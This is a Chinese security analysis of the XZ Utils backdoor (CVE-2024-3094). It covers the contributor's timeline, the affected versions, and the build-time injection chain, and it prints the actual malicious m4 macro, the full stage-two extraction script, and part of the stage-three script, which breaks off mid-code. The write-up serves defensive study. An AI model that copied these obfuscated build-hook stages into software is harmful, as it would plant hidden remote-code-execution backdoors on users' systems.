XZ Utils（CVE-2024-3094）供应链投毒深度分析

0x01 事件概述

近日，微软一名软件工程师Andres Freund公开披露，其观察到 liblzma 库存在一些奇怪的现象，包括在用ssh远程登录异常及内存错误。经过分析，其确认在 liblzma 上游组件 xz-utils 中存在后门代码，后门或可导致攻击者能够在ssh登录认证前，执行攻击者指定的任意代码，可对Linux服务器安全造成严重影响。

综合情况看，这是一起开源软件供应链投毒攻击事件。攻击者伪装成开发者，借更新之名，秘密的向 xz-utils 中加入后门代码，导致 xz-utils 中的 liblzma 易受攻击。

OpenSSH用于SSH登录，广泛部署于基于Linux发行的操作系统中。其默认不依赖 liblzma ，但是部分Linux发行版会对OpenSSH进行二次开发而导致其默认加载LibSystemd，而LibSystemd默认加载 liblzma 。就这样，OpenSSH间接的因 xz-utils 的投毒而变得易受攻击，在认证前可执行攻击者发送的恶意代码。 天融信对该漏洞及相关事件的详细分析情况如下。

0x02 影响

liblzma/xz官方库遭到供应链攻击，并被恶意篡改以植入后门。xz主要功能是提供数据压缩和解压缩功能，集成了liblzma等组件。部分linux操作系统ssh的底层实现中间接引用了 liblzma ，常见的如Red Hat、Debian、Kali Linux、Arch Linux、SUSE、Alpine Linux。

xz-utils 分为 liblzma 和 xz 两部分。xz 是一个单文件压缩软件，采用了压缩率高的 LZMA 算法，在 Linux 中被广泛使用。liblzma 是 LZMA 算法的实现，被应用于 systemd 等多个 Linux 系统和应用软件。

xz == 5.6.0
xz == 5.6.1
liblzma== 5.6.0
liblzma== 5.6.1

当前的情况显示，该漏洞在”投毒”初期便被发现并披露，影响部分系统及服务，尚未大面积扩散。运维及管理人员仍需重视该事件，尽快检查及处置。

0x03 投毒方式

从Mail Archive（xz项目的邮件沟通记录）来看，其最早于 2021年10月29日 尝试向xz提交代码。

从 2022年的12月30日 开始，JiaT75有了独自提交代码的能力。

直到 2024年2月23日 时，JiaT75开始向xz投递了带有恶意载荷文件bad-3-corrupt_lzma2.xz和good-large_compressed.lzma，其自称，文件中包含了一些测试用的“随机数据”，和一些无法被解压的“损坏数据”。为了更好地隐蔽恶意载荷，其中大多数测试数据都是正常无害的。

在 2024年3月20日 ，jia tan还在尝试向Linux内核提交代码更新功能（暂未发现直接的恶意代码），并且该代码已进入Linux-next，事发后被叫停。

如下图的debian，ID“hansjans162”和前面的ifunc提交相同。

$ git shortlog --summary --numbered --email | grep [email protected]273 Jia Tan 2 jiat75 1 Jia Cheong Tan 

1、提交记录的时区信息： 观察到此人有在东二时区（冬季）和东三时区（夏季）的提交记录，这与欧洲/以色列地区实行的夏令时制度相吻合，而不是一直在东八时区（中国时区）。

目前从整理出的全部信息来看，还无法确定JiaT75究竟是个人还是组织。

0x04 源代码分析

此次攻击的大致流程如下所示：

2、利用glibc的IFUNC特性，获得在sshd进程加载liblzma.so库时执行后门代码的能力。通过后门代码Hook sshd进程中RSA_public_decrypt()函数的GOT表条目。

3、攻击者通过SSH公钥登录方式，使用特定的RSA私钥连接目标机器进行身份验证。sshd进程会通过RSA_public_decrypt()函数对攻击者发送的RSA私钥进行解密，该RSA私钥中包含攻击者想要执行的payload，由此可知，本次后门可造成远程代码执行。

由于阶段三中执行的good-large_compressed.sh脚本会检查源代码目录下是否存在/debian/rules文件，可以选择debian的xz-utils源码进行编译，或者在上游xz-utils源码创建这样一个文件后，就能成功编译包含后门代码的liblzma.so库。

阶段一

在构建xz-utils的过程中，通过执行源代码根目录下的configure脚本生成Makefile文件时，会执行build-to-host.m4文件中的宏。此文件中的宏代码用于对./tests/files/bad-3-corrupt_lzma2.xz文件进行修复，解压，然后获得用于阶段二执行的脚本代码（命名为bad-3-corrupt_lzma2.sh）并执行。build-to-host.m4文件中的关键代码如下所示。

// ./m4/build-to-host.m4// 找到包含“####Hello####”内容的文件的名称gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`❯ grep -aErls "#{4}[[:alnum:]]{5}#{4}$" . 2>/dev/null./tests/files/bad-3-corrupt_lzma2.xz
// 获取xz程序的名字gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`❯ echo ./tests/files/bad-3-corrupt_lzma2.xz | sed "s/.*\.//g"xz
// 修复bad-3-corrupt_lzma2.xz文件，并对其解压，获得bad-3-corrupt_lzma2.sh脚本文件，然后执行它gl_path_map='tr "\t \-_" " \t_\-"'gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | eval 'tr "\t \-_" " \t_\-"' | xz -d 2>/dev/null

0x09(\t) --> 0x20(空格)0x20(空格) --> 0x09(\t)0x2d(-) --> 0x5f(_)0x5f(_) --> 0x2d(-)

阶段二

阶段二执行的bad-3-corrupt_lzma2.sh脚本的内容如下所示。

# bad-3-corrupt_lzma2.sh, xz-5.6.0####Hello#####†ùZ÷.hj¼eval `grep ^srcdir= config.status`if test -f ../../config.status;theneval `grep ^srcdir= ../../config.status`srcdir="../../$srcdir"fiexport i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh####World####

# 1. 解压./tests/files/good-large_compressed.lzma文件xz -dc $srcdir/tests/files/good-large_compressed.lzma# 2. 对good-large_compressed.lzma文件解压后的文件进行处理eval $i# 3. 只获取第2步结果的末尾31265字节数据tail -c +31265# 4. 对第3步结果中的一些数据进行替换tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"# 5. 解压第4步获得的正确的压缩文件xz -F raw --lzma1 -dc# 6. 从第5步的输出中获得阶段三的脚本并执行。/bin/sh

第2步对good-large_compressed.lzma文件解压后的文件进行处理，首先通过“head -c +1024 >/dev/null”命令将该文件的前1024字节数据丢弃，然后通过“head -c +2048”命令将该文件前1024字节之后的2048字节数据输出到标准输出，以此模式，不断循环，直到将所有无用数据剔除，只留下有效的数据，以待第3步继续处理。所以，good-large_compressed.lzma文件解压后的文件中的数据是无用数据与有用数据交叉分布的。

由上可知，bad-3-corrupt_lzma2.sh脚本用于解压good-large_compressed.lzma文件，然后对解压后的文件进行处理，获得另一个压缩包。对其解压后，获得阶段三执行的脚本（命名为good-large_compressed.sh）。

可以对bad-3-corrupt_lzma2.sh文件做一些修改，以独立获得good-large_compressed.sh。

# 将good-large_compressed.lzma于此脚本放于同一目录xz -dc good-large_compressed.lzma# 将标准输出重定向到good-large_compressed.sh文件中xz -F raw --lzma1 -dc 1>good-large_compressed.sh

阶段三

第一次执行的good-large_compressed.sh脚本中的主要代码如下所示。

P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"C="pic_flag=\" $P\""O="^pic_flag=\" -fPIC -DPIC\"$"R="is_arch_extension_supported"x="__get_cpuid("p="good-large_compressed.lzma"U="bad-3-corrupt_lzma2.xz"eval $zrKcVq# 第一次执行此脚本时，是在源代码根目录下执行的。if test -f config.status; then    ......    eval `grep ^build=\'x86_64 config.status`    eval `grep ^enable_shared=\'yes\' config.status`    eval `grep ^enable_static=\' config.status`    eval `grep ^gl_path_map=\' config.status`    eval $zrKccj    # 查找config.status文件中是否有D["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"    if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then